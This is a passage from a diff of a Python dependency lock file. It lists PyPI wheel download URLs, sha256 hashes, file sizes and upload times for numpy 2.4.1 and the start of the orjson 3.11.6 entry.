"2026-01-10T06:42:19.637Z" }, + { url = "https://files.pythonhosted.org/packages/40/ae/0a5b9a397f0e865ec171187c78d9b57e5588afc439a04ba9cab1ebb2c945/numpy-2.4.1-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:edee228f76ee2dab4579fad6f51f6a305de09d444280109e0f75df247ff21501", size = 6804159, upload-time = "2026-01-10T06:42:21.44Z" }, + { url = "https://files.pythonhosted.org/packages/86/9c/841c15e691c7085caa6fd162f063eff494099c8327aeccd509d1ab1e36ab/numpy-2.4.1-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a92f227dbcdc9e4c3e193add1a189a9909947d4f8504c576f4a732fd0b54240a", size = 14708058, upload-time = "2026-01-10T06:42:23.546Z" }, + { url = "https://files.pythonhosted.org/packages/5d/9d/7862db06743f489e6a502a3b93136d73aea27d97b2cf91504f70a27501d6/numpy-2.4.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:538bf4ec353709c765ff75ae616c34d3c3dca1a68312727e8f2676ea644f8509", size = 16651501, upload-time = "2026-01-10T06:42:25.909Z" }, + { url = "https://files.pythonhosted.org/packages/a6/9c/6fc34ebcbd4015c6e5f0c0ce38264010ce8a546cb6beacb457b84a75dfc8/numpy-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ac08c63cb7779b85e9d5318e6c3518b424bc1f364ac4cb2c6136f12e5ff2dccc", size = 16492627, upload-time = "2026-01-10T06:42:28.938Z" }, + { url = "https://files.pythonhosted.org/packages/aa/63/2494a8597502dacda439f61b3c0db4da59928150e62be0e99395c3ad23c5/numpy-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4f9c360ecef085e5841c539a9a12b883dff005fbd7ce46722f5e9cef52634d82", size = 18585052, upload-time = "2026-01-10T06:42:31.312Z" }, + { url = "https://files.pythonhosted.org/packages/6a/93/098e1162ae7522fc9b618d6272b77404c4656c72432ecee3abc029aa3de0/numpy-2.4.1-cp311-cp311-win32.whl", hash = "sha256:0f118ce6b972080ba0758c6087c3617b5ba243d806268623dc34216d69099ba0", size = 6236575, upload-time = "2026-01-10T06:42:33.872Z" }, + { url = "https://files.pythonhosted.org/packages/8c/de/f5e79650d23d9e12f38a7bc6b03ea0835b9575494f8ec94c11c6e773b1b1/numpy-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:18e14c4d09d55eef39a6ab5b08406e84bc6869c1e34eef45564804f90b7e0574", size = 12604479, upload-time = "2026-01-10T06:42:35.778Z" }, + { url = "https://files.pythonhosted.org/packages/dd/65/e1097a7047cff12ce3369bd003811516b20ba1078dbdec135e1cd7c16c56/numpy-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:6461de5113088b399d655d45c3897fa188766415d0f568f175ab071c8873bd73", size = 10578325, upload-time = "2026-01-10T06:42:38.518Z" }, + { url = "https://files.pythonhosted.org/packages/78/7f/ec53e32bf10c813604edf07a3682616bd931d026fcde7b6d13195dfb684a/numpy-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d3703409aac693fa82c0aee023a1ae06a6e9d065dba10f5e8e80f642f1e9d0a2", size = 16656888, upload-time = "2026-01-10T06:42:40.913Z" }, + { url = "https://files.pythonhosted.org/packages/b8/e0/1f9585d7dae8f14864e948fd7fa86c6cb72dee2676ca2748e63b1c5acfe0/numpy-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7211b95ca365519d3596a1d8688a95874cc94219d417504d9ecb2df99fa7bfa8", size = 12373956, upload-time = "2026-01-10T06:42:43.091Z" }, + { url = "https://files.pythonhosted.org/packages/8e/43/9762e88909ff2326f5e7536fa8cb3c49fb03a7d92705f23e6e7f553d9cb3/numpy-2.4.1-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:5adf01965456a664fc727ed69cc71848f28d063217c63e1a0e200a118d5eec9a", size = 5202567, upload-time = "2026-01-10T06:42:45.107Z" }, + { url = "https://files.pythonhosted.org/packages/4b/ee/34b7930eb61e79feb4478800a4b95b46566969d837546aa7c034c742ef98/numpy-2.4.1-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:26f0bcd9c79a00e339565b303badc74d3ea2bd6d52191eeca5f95936cad107d0", size = 6549459, upload-time = "2026-01-10T06:42:48.152Z" }, + { url = "https://files.pythonhosted.org/packages/79/e3/5f115fae982565771be994867c89bcd8d7208dbfe9469185497d70de5ddf/numpy-2.4.1-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0093e85df2960d7e4049664b26afc58b03236e967fb942354deef3208857a04c", size = 14404859, upload-time = "2026-01-10T06:42:49.947Z" }, + { url = "https://files.pythonhosted.org/packages/d9/7d/9c8a781c88933725445a859cac5d01b5871588a15969ee6aeb618ba99eee/numpy-2.4.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7ad270f438cbdd402c364980317fb6b117d9ec5e226fff5b4148dd9aa9fc6e02", size = 16371419, upload-time = "2026-01-10T06:42:52.409Z" }, + { url = "https://files.pythonhosted.org/packages/a6/d2/8aa084818554543f17cf4162c42f162acbd3bb42688aefdba6628a859f77/numpy-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:297c72b1b98100c2e8f873d5d35fb551fce7040ade83d67dd51d38c8d42a2162", size = 16182131, upload-time = "2026-01-10T06:42:54.694Z" }, + { url = "https://files.pythonhosted.org/packages/60/db/0425216684297c58a8df35f3284ef56ec4a043e6d283f8a59c53562caf1b/numpy-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:cf6470d91d34bf669f61d515499859fa7a4c2f7c36434afb70e82df7217933f9", size = 18295342, upload-time = "2026-01-10T06:42:56.991Z" }, + { url = "https://files.pythonhosted.org/packages/31/4c/14cb9d86240bd8c386c881bafbe43f001284b7cce3bc01623ac9475da163/numpy-2.4.1-cp312-cp312-win32.whl", hash = "sha256:b6bcf39112e956594b3331316d90c90c90fb961e39696bda97b89462f5f3943f", size = 5959015, upload-time = "2026-01-10T06:42:59.631Z" }, + { url = "https://files.pythonhosted.org/packages/51/cf/52a703dbeb0c65807540d29699fef5fda073434ff61846a564d5c296420f/numpy-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:e1a27bb1b2dee45a2a53f5ca6ff2d1a7f135287883a1689e930d44d1ff296c87", size = 12310730, upload-time = "2026-01-10T06:43:01.627Z" }, + { url = "https://files.pythonhosted.org/packages/69/80/a828b2d0ade5e74a9fe0f4e0a17c30fdc26232ad2bc8c9f8b3197cf7cf18/numpy-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:0e6e8f9d9ecf95399982019c01223dc130542960a12edfa8edd1122dfa66a8a8", size = 10312166, upload-time = "2026-01-10T06:43:03.673Z" }, + { url = "https://files.pythonhosted.org/packages/04/68/732d4b7811c00775f3bd522a21e8dd5a23f77eb11acdeb663e4a4ebf0ef4/numpy-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:d797454e37570cfd61143b73b8debd623c3c0952959adb817dd310a483d58a1b", size = 16652495, upload-time = "2026-01-10T06:43:06.283Z" }, + { url = "https://files.pythonhosted.org/packages/20/ca/857722353421a27f1465652b2c66813eeeccea9d76d5f7b74b99f298e60e/numpy-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:82c55962006156aeef1629b953fd359064aa47e4d82cfc8e67f0918f7da3344f", size = 12368657, upload-time = "2026-01-10T06:43:09.094Z" }, + { url = "https://files.pythonhosted.org/packages/81/0d/2377c917513449cc6240031a79d30eb9a163d32a91e79e0da47c43f2c0c8/numpy-2.4.1-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:71abbea030f2cfc3092a0ff9f8c8fdefdc5e0bf7d9d9c99663538bb0ecdac0b9", size = 5197256, upload-time = "2026-01-10T06:43:13.634Z" }, + { url = "https://files.pythonhosted.org/packages/17/39/569452228de3f5de9064ac75137082c6214be1f5c532016549a7923ab4b5/numpy-2.4.1-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:5b55aa56165b17aaf15520beb9cbd33c9039810e0d9643dd4379e44294c7303e", size = 6545212, upload-time = "2026-01-10T06:43:15.661Z" }, + { url = "https://files.pythonhosted.org/packages/8c/a4/77333f4d1e4dac4395385482557aeecf4826e6ff517e32ca48e1dafbe42a/numpy-2.4.1-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c0faba4a331195bfa96f93dd9dfaa10b2c7aa8cda3a02b7fd635e588fe821bf5", size = 14402871, upload-time = "2026-01-10T06:43:17.324Z" }, + { url = "https://files.pythonhosted.org/packages/ba/87/d341e519956273b39d8d47969dd1eaa1af740615394fe67d06f1efa68773/numpy-2.4.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d3e3087f53e2b4428766b54932644d148613c5a595150533ae7f00dab2f319a8", size = 16359305, upload-time = "2026-01-10T06:43:19.376Z" }, + { url = "https://files.pythonhosted.org/packages/32/91/789132c6666288eaa20ae8066bb99eba1939362e8f1a534949a215246e97/numpy-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:49e792ec351315e16da54b543db06ca8a86985ab682602d90c60ef4ff4db2a9c", size = 16181909, upload-time = "2026-01-10T06:43:21.808Z" }, + { url = "https://files.pythonhosted.org/packages/cf/b8/090b8bd27b82a844bb22ff8fdf7935cb1980b48d6e439ae116f53cdc2143/numpy-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:79e9e06c4c2379db47f3f6fc7a8652e7498251789bf8ff5bd43bf478ef314ca2", size = 18284380, upload-time = "2026-01-10T06:43:23.957Z" }, + { url = "https://files.pythonhosted.org/packages/67/78/722b62bd31842ff029412271556a1a27a98f45359dea78b1548a3a9996aa/numpy-2.4.1-cp313-cp313-win32.whl", hash = "sha256:3d1a100e48cb266090a031397863ff8a30050ceefd798f686ff92c67a486753d", size = 5957089, upload-time = "2026-01-10T06:43:27.535Z" }, + { url = "https://files.pythonhosted.org/packages/da/a6/cf32198b0b6e18d4fbfa9a21a992a7fca535b9bb2b0cdd217d4a3445b5ca/numpy-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:92a0e65272fd60bfa0d9278e0484c2f52fe03b97aedc02b357f33fe752c52ffb", size = 12307230, upload-time = "2026-01-10T06:43:29.298Z" }, + { url = "https://files.pythonhosted.org/packages/44/6c/534d692bfb7d0afe30611320c5fb713659dcb5104d7cc182aff2aea092f5/numpy-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:20d4649c773f66cc2fc36f663e091f57c3b7655f936a4c681b4250855d1da8f5", size = 10313125, upload-time = "2026-01-10T06:43:31.782Z" }, + { url = "https://files.pythonhosted.org/packages/da/a1/354583ac5c4caa566de6ddfbc42744409b515039e085fab6e0ff942e0df5/numpy-2.4.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:f93bc6892fe7b0663e5ffa83b61aab510aacffd58c16e012bb9352d489d90cb7", size = 12496156, upload-time = "2026-01-10T06:43:34.237Z" }, + { url = "https://files.pythonhosted.org/packages/51/b0/42807c6e8cce58c00127b1dc24d365305189991f2a7917aa694a109c8d7d/numpy-2.4.1-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:178de8f87948163d98a4c9ab5bee4ce6519ca918926ec8df195af582de28544d", size = 5324663, upload-time = "2026-01-10T06:43:36.211Z" }, + { url = "https://files.pythonhosted.org/packages/fe/55/7a621694010d92375ed82f312b2f28017694ed784775269115323e37f5e2/numpy-2.4.1-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:98b35775e03ab7f868908b524fc0a84d38932d8daf7b7e1c3c3a1b6c7a2c9f15", size = 6645224, upload-time = "2026-01-10T06:43:37.884Z" }, + { url = "https://files.pythonhosted.org/packages/50/96/9fa8635ed9d7c847d87e30c834f7109fac5e88549d79ef3324ab5c20919f/numpy-2.4.1-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:941c2a93313d030f219f3a71fd3d91a728b82979a5e8034eb2e60d394a2b83f9", size = 14462352, upload-time = "2026-01-10T06:43:39.479Z" }, + { url = "https://files.pythonhosted.org/packages/03/d1/8cf62d8bb2062da4fb82dd5d49e47c923f9c0738032f054e0a75342faba7/numpy-2.4.1-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:529050522e983e00a6c1c6b67411083630de8b57f65e853d7b03d9281b8694d2", size = 16407279, upload-time = "2026-01-10T06:43:41.93Z" }, + { url = "https://files.pythonhosted.org/packages/86/1c/95c86e17c6b0b31ce6ef219da00f71113b220bcb14938c8d9a05cee0ff53/numpy-2.4.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:2302dc0224c1cbc49bb94f7064f3f923a971bfae45c33870dcbff63a2a550505", size = 16248316, upload-time = "2026-01-10T06:43:44.121Z" }, + { url = "https://files.pythonhosted.org/packages/30/b4/e7f5ff8697274c9d0fa82398b6a372a27e5cef069b37df6355ccb1f1db1a/numpy-2.4.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:9171a42fcad32dcf3fa86f0a4faa5e9f8facefdb276f54b8b390d90447cff4e2", size = 18329884, upload-time = "2026-01-10T06:43:46.613Z" }, + { url = "https://files.pythonhosted.org/packages/37/a4/b073f3e9d77f9aec8debe8ca7f9f6a09e888ad1ba7488f0c3b36a94c03ac/numpy-2.4.1-cp313-cp313t-win32.whl", hash = "sha256:382ad67d99ef49024f11d1ce5dcb5ad8432446e4246a4b014418ba3a1175a1f4", size = 6081138, upload-time = "2026-01-10T06:43:48.854Z" }, + { url = "https://files.pythonhosted.org/packages/16/16/af42337b53844e67752a092481ab869c0523bc95c4e5c98e4dac4e9581ac/numpy-2.4.1-cp313-cp313t-win_amd64.whl", hash = "sha256:62fea415f83ad8fdb6c20840578e5fbaf5ddd65e0ec6c3c47eda0f69da172510", size = 12447478, upload-time = "2026-01-10T06:43:50.476Z" }, + { url = "https://files.pythonhosted.org/packages/6c/f8/fa85b2eac68ec631d0b631abc448552cb17d39afd17ec53dcbcc3537681a/numpy-2.4.1-cp313-cp313t-win_arm64.whl", hash = "sha256:a7870e8c5fc11aef57d6fea4b4085e537a3a60ad2cdd14322ed531fdca68d261", size = 10382981, upload-time = "2026-01-10T06:43:52.575Z" }, + { url = "https://files.pythonhosted.org/packages/1b/a7/ef08d25698e0e4b4efbad8d55251d20fe2a15f6d9aa7c9b30cd03c165e6f/numpy-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:3869ea1ee1a1edc16c29bbe3a2f2a4e515cc3a44d43903ad41e0cacdbaf733dc", size = 16652046, upload-time = "2026-01-10T06:43:54.797Z" }, + { url = "https://files.pythonhosted.org/packages/8f/39/e378b3e3ca13477e5ac70293ec027c438d1927f18637e396fe90b1addd72/numpy-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e867df947d427cdd7a60e3e271729090b0f0df80f5f10ab7dd436f40811699c3", size = 12378858, upload-time = "2026-01-10T06:43:57.099Z" }, + { url = "https://files.pythonhosted.org/packages/c3/74/7ec6154f0006910ed1fdbb7591cf4432307033102b8a22041599935f8969/numpy-2.4.1-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:e3bd2cb07841166420d2fa7146c96ce00cb3410664cbc1a6be028e456c4ee220", size = 5207417, upload-time = "2026-01-10T06:43:59.037Z" }, + { url = "https://files.pythonhosted.org/packages/f7/b7/053ac11820d84e42f8feea5cb81cc4fcd1091499b45b1ed8c7415b1bf831/numpy-2.4.1-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:f0a90aba7d521e6954670550e561a4cb925713bd944445dbe9e729b71f6cabee", size = 6542643, upload-time = "2026-01-10T06:44:01.852Z" }, + { url = "https://files.pythonhosted.org/packages/c0/c4/2e7908915c0e32ca636b92e4e4a3bdec4cb1e7eb0f8aedf1ed3c68a0d8cd/numpy-2.4.1-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5d558123217a83b2d1ba316b986e9248a1ed1971ad495963d555ccd75dcb1556", size = 14418963, upload-time = "2026-01-10T06:44:04.047Z" }, + { url = "https://files.pythonhosted.org/packages/eb/c0/3ed5083d94e7ffd7c404e54619c088e11f2e1939a9544f5397f4adb1b8ba/numpy-2.4.1-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2f44de05659b67d20499cbc96d49f2650769afcb398b79b324bb6e297bfe3844", size = 16363811, upload-time = "2026-01-10T06:44:06.207Z" }, + { url = "https://files.pythonhosted.org/packages/0e/68/42b66f1852bf525050a67315a4fb94586ab7e9eaa541b1bef530fab0c5dd/numpy-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:69e7419c9012c4aaf695109564e3387f1259f001b4326dfa55907b098af082d3", size = 16197643, upload-time = "2026-01-10T06:44:08.33Z" }, + { url = "https://files.pythonhosted.org/packages/d2/40/e8714fc933d85f82c6bfc7b998a0649ad9769a32f3494ba86598aaf18a48/numpy-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2ffd257026eb1b34352e749d7cc1678b5eeec3e329ad8c9965a797e08ccba205", size = 18289601, upload-time = "2026-01-10T06:44:10.841Z" }, + { url = "https://files.pythonhosted.org/packages/80/9a/0d44b468cad50315127e884802351723daca7cf1c98d102929468c81d439/numpy-2.4.1-cp314-cp314-win32.whl", hash = "sha256:727c6c3275ddefa0dc078524a85e064c057b4f4e71ca5ca29a19163c607be745", size = 6005722, upload-time = "2026-01-10T06:44:13.332Z" }, + { url = "https://files.pythonhosted.org/packages/7e/bb/c6513edcce5a831810e2dddc0d3452ce84d208af92405a0c2e58fd8e7881/numpy-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:7d5d7999df434a038d75a748275cd6c0094b0ecdb0837342b332a82defc4dc4d", size = 12438590, upload-time = "2026-01-10T06:44:15.006Z" }, + { url = "https://files.pythonhosted.org/packages/e9/da/a598d5cb260780cf4d255102deba35c1d072dc028c4547832f45dd3323a8/numpy-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:ce9ce141a505053b3c7bce3216071f3bf5c182b8b28930f14cd24d43932cd2df", size = 10596180, upload-time = "2026-01-10T06:44:17.386Z" }, + { url = "https://files.pythonhosted.org/packages/de/bc/ea3f2c96fcb382311827231f911723aeff596364eb6e1b6d1d91128aa29b/numpy-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:4e53170557d37ae404bf8d542ca5b7c629d6efa1117dac6a83e394142ea0a43f", size = 12498774, upload-time = "2026-01-10T06:44:19.467Z" }, + { url = "https://files.pythonhosted.org/packages/aa/ab/ef9d939fe4a812648c7a712610b2ca6140b0853c5efea361301006c02ae5/numpy-2.4.1-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:a73044b752f5d34d4232f25f18160a1cc418ea4507f5f11e299d8ac36875f8a0", size = 5327274, upload-time = "2026-01-10T06:44:23.189Z" }, + { url = "https://files.pythonhosted.org/packages/bd/31/d381368e2a95c3b08b8cf7faac6004849e960f4a042d920337f71cef0cae/numpy-2.4.1-cp314-cp314t-macosx_14_0_x86_64.whl", hash = "sha256:fb1461c99de4d040666ca0444057b06541e5642f800b71c56e6ea92d6a853a0c", size = 6648306, upload-time = "2026-01-10T06:44:25.012Z" }, + { url = "https://files.pythonhosted.org/packages/c8/e5/0989b44ade47430be6323d05c23207636d67d7362a1796ccbccac6773dd2/numpy-2.4.1-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:423797bdab2eeefbe608d7c1ec7b2b4fd3c58d51460f1ee26c7500a1d9c9ee93", size = 14464653, upload-time = "2026-01-10T06:44:26.706Z" }, + { url = "https://files.pythonhosted.org/packages/10/a7/cfbe475c35371cae1358e61f20c5f075badc18c4797ab4354140e1d283cf/numpy-2.4.1-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:52b5f61bdb323b566b528899cc7db2ba5d1015bda7ea811a8bcf3c89c331fa42", size = 16405144, upload-time = "2026-01-10T06:44:29.378Z" }, + { url = "https://files.pythonhosted.org/packages/f8/a3/0c63fe66b534888fa5177cc7cef061541064dbe2b4b60dcc60ffaf0d2157/numpy-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:42d7dd5fa36d16d52a84f821eb96031836fd405ee6955dd732f2023724d0aa01", size = 16247425, upload-time = "2026-01-10T06:44:31.721Z" }, + { url = "https://files.pythonhosted.org/packages/6b/2b/55d980cfa2c93bd40ff4c290bf824d792bd41d2fe3487b07707559071760/numpy-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e7b6b5e28bbd47b7532698e5db2fe1db693d84b58c254e4389d99a27bb9b8f6b", size = 18330053, upload-time = "2026-01-10T06:44:34.617Z" }, + { url = "https://files.pythonhosted.org/packages/23/12/8b5fc6b9c487a09a7957188e0943c9ff08432c65e34567cabc1623b03a51/numpy-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:5de60946f14ebe15e713a6f22850c2372fa72f4ff9a432ab44aa90edcadaa65a", size = 6152482, upload-time = "2026-01-10T06:44:36.798Z" }, + { url = "https://files.pythonhosted.org/packages/00/a5/9f8ca5856b8940492fc24fbe13c1bc34d65ddf4079097cf9e53164d094e1/numpy-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:8f085da926c0d491ffff3096f91078cc97ea67e7e6b65e490bc8dcda65663be2", size = 12627117, upload-time = "2026-01-10T06:44:38.828Z" }, + { url = "https://files.pythonhosted.org/packages/ad/0d/eca3d962f9eef265f01a8e0d20085c6dd1f443cbffc11b6dede81fd82356/numpy-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:6436cffb4f2bf26c974344439439c95e152c9a527013f26b3577be6c2ca64295", size = 10667121, upload-time = "2026-01-10T06:44:41.644Z" }, + { url = "https://files.pythonhosted.org/packages/1e/48/d86f97919e79314a1cdee4c832178763e6e98e623e123d0bada19e92c15a/numpy-2.4.1-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:8ad35f20be147a204e28b6a0575fbf3540c5e5f802634d4258d55b1ff5facce1", size = 16822202, upload-time = "2026-01-10T06:44:43.738Z" }, + { url = "https://files.pythonhosted.org/packages/51/e9/1e62a7f77e0f37dcfb0ad6a9744e65df00242b6ea37dfafb55debcbf5b55/numpy-2.4.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:8097529164c0f3e32bb89412a0905d9100bf434d9692d9fc275e18dcf53c9344", size = 12569985, upload-time = "2026-01-10T06:44:45.945Z" }, + { url = "https://files.pythonhosted.org/packages/c7/7e/914d54f0c801342306fdcdce3e994a56476f1b818c46c47fc21ae968088c/numpy-2.4.1-pp311-pypy311_pp73-macosx_14_0_arm64.whl", hash = "sha256:ea66d2b41ca4a1630aae5507ee0a71647d3124d1741980138aa8f28f44dac36e", size = 5398484, upload-time = "2026-01-10T06:44:48.012Z" }, + { url = "https://files.pythonhosted.org/packages/1c/d8/9570b68584e293a33474e7b5a77ca404f1dcc655e40050a600dee81d27fb/numpy-2.4.1-pp311-pypy311_pp73-macosx_14_0_x86_64.whl", hash = "sha256:d3f8f0df9f4b8be57b3bf74a1d087fec68f927a2fab68231fdb442bf2c12e426", size = 6713216, upload-time = "2026-01-10T06:44:49.725Z" }, + { url = "https://files.pythonhosted.org/packages/33/9b/9dd6e2db8d49eb24f86acaaa5258e5f4c8ed38209a4ee9de2d1a0ca25045/numpy-2.4.1-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2023ef86243690c2791fd6353e5b4848eedaa88ca8a2d129f462049f6d484696", size = 14538937, upload-time = "2026-01-10T06:44:51.498Z" }, + { url = "https://files.pythonhosted.org/packages/53/87/d5bd995b0f798a37105b876350d346eea5838bd8f77ea3d7a48392f3812b/numpy-2.4.1-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8361ea4220d763e54cff2fbe7d8c93526b744f7cd9ddab47afeff7e14e8503be", size = 16479830, upload-time = "2026-01-10T06:44:53.931Z" }, + { url = "https://files.pythonhosted.org/packages/5b/c7/b801bf98514b6ae6475e941ac05c58e6411dd863ea92916bfd6d510b08c1/numpy-2.4.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:4f1b68ff47680c2925f8063402a693ede215f0257f02596b1318ecdfb1d79e33", size = 12492579, upload-time = "2026-01-10T06:44:57.094Z" }, +] + +[[package]] +name = "orjson" +version = "3.11.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/70/a3/4e09c61a5f0c521cba0bb433639610ae037437669f1a4cbc93799e731d78/orjson-3.11.6.tar.gz", hash = "sha256:0a54c72259f35299fd033042367df781c2f66d10252955ca1efb7db309b954cb", size = 6175856, upload-time = "2026-01-29T15:13:07.942Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/30/3c/098ed0e49c565fdf1ccc6a75b190115d1ca74148bf5b6ab036554a550650/orjson-3.11.6-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:a613fc37e007143d5b6286dccb1394cd114b07832417006a02b620ddd8279e37", size = 250411, upload-time = "2026-01-29T15:11:17.941Z" }, + { url = "https://files.pythonhosted.org/packages/15/7c/cb11a360fd228ceebade03b1e8e9e138dd4b1b3b11602b72dbdad915aded/orjson-3.11.6-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46ebee78f709d3ba7a65384cfe285bb0763157c6d2f836e7bde2f12d33a867a2", size = 138147, upload-time = "2026-01-29T15:11:19.659Z" }, + { url = "https://files.pythonhosted.org/packages/4e/4b/e57b5c45ffe69fbef7cbd56e9f40e2dc0d5de920caafefcc6981d1a7efc5/orjson-3.11.6-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a726fa86d2368cd57990f2bd95ef5495a6e613b08fc9585dfe121ec758fb08d1", size = 135110, upload-time = "2026-01-29T15:11:21.231Z" }, + { url = "https://files.pythonhosted.org/packages/b0/6e/4f21c6256f8cee3c0c69926cf7ac821cfc36f218512eedea2e2dc4a490c8/orjson-3.11.6-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:150f12e59d6864197770c78126e1a6e07a3da73d1728731bf3bc1e8b96ffdbe6", size = 140995, upload-time = "2026-01-29T15:11:22.902Z" }, + { url = "https://files.pythonhosted.org/packages/d0/78/92c36205ba2f6094ba1eea60c8e646885072abe64f155196833988c14b74/orjson-3.11.6-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9a2d9746a5b5ce20c0908ada451eb56da4ffa01552a50789a0354d8636a02953", size = 144435, upload-time = "2026-01-29T15:11:24.124Z" }, + { url = "https://files.pythonhosted.org/packages/4d/52/1b518d164005811eb3fea92650e76e7d9deadb0b41e92c483373b1e82863/orjson-3.11.6-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:afd177f5dd91666d31e9019f1b06d2fcdf8a409a1637ddcb5915085dede85680", size = 142734, upload-time = "2026-01-29T15:11:25.708Z" }, + { url = "https://files.pythonhosted.org/packages/4b/11/60ea7885a2b7c1bf60ed8b5982356078a73785bd3bab392041a5bcf8de7c/orjson-3.11.6-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d777ec41a327bd3b7de97ba7bce12cc1007815ca398e4e4de9ec56c022c090b", size = 145802, upload-time = "2026-01-29T15:11:26.917Z" }, + { url = "https://files.pythonhosted.org/packages/41/7f/15a927e7958fd4f7560fb6dbb9346bee44a168e40168093c46020d866098/orjson-3.11.6-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f3a135f83185c87c13ff231fcb7dbb2fa4332a376444bd65135b50ff4cc5265c", size = 147504, upload-time = "2026-01-29T15:11:28.07Z" }, + { url = "https://files.pythonhosted.org/packages/66/1f/cabb9132a533f4f913e29294d0a1ca818b1a9a52e990526fe3f7ddd75f1c/orjson-3.11.6-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:2a8eeed7d4544cf391a142b0dd06029dac588e96cc692d9ab1c3f05b1e57c7f6", size = 421408, upload-time = "2026-01-29T15:11:29.314Z" }, + { url = "https://files.pythonhosted.org/packages/4c/b9/09bda9257a982e300313e4a9fc9b9c3aaff424d07bcf765bf045e4e3ed03/orjson-3.11.6-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:9d576865a21e5cc6695be8fb78afc812079fd361ce6a027a7d41561b61b33a90", size = 155801, upload-time = "2026-01-29T15:11:30.575Z" }, + { url = "https://files.pythonhosted.org/packages/98/19/4e40ea3e5f4c6a8d51f31fd2382351ee7b396fecca915b17cd1af588175b/orjson-3.11.6-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:925e2df51f60aa50f8797830f2adfc05330425803f4105875bb511ced98b7f89", size = 147647, upload-time = "2026-01-29T15:11:31.856Z" }, + { url = "https://files.pythonhosted.org/packages/5a/73/ef4bd7dd15042cf33a402d16b87b9e969e71edb452b63b6e2b05025d1f7d/orjson-3.11.6-cp310-cp310-win32.whl", hash = 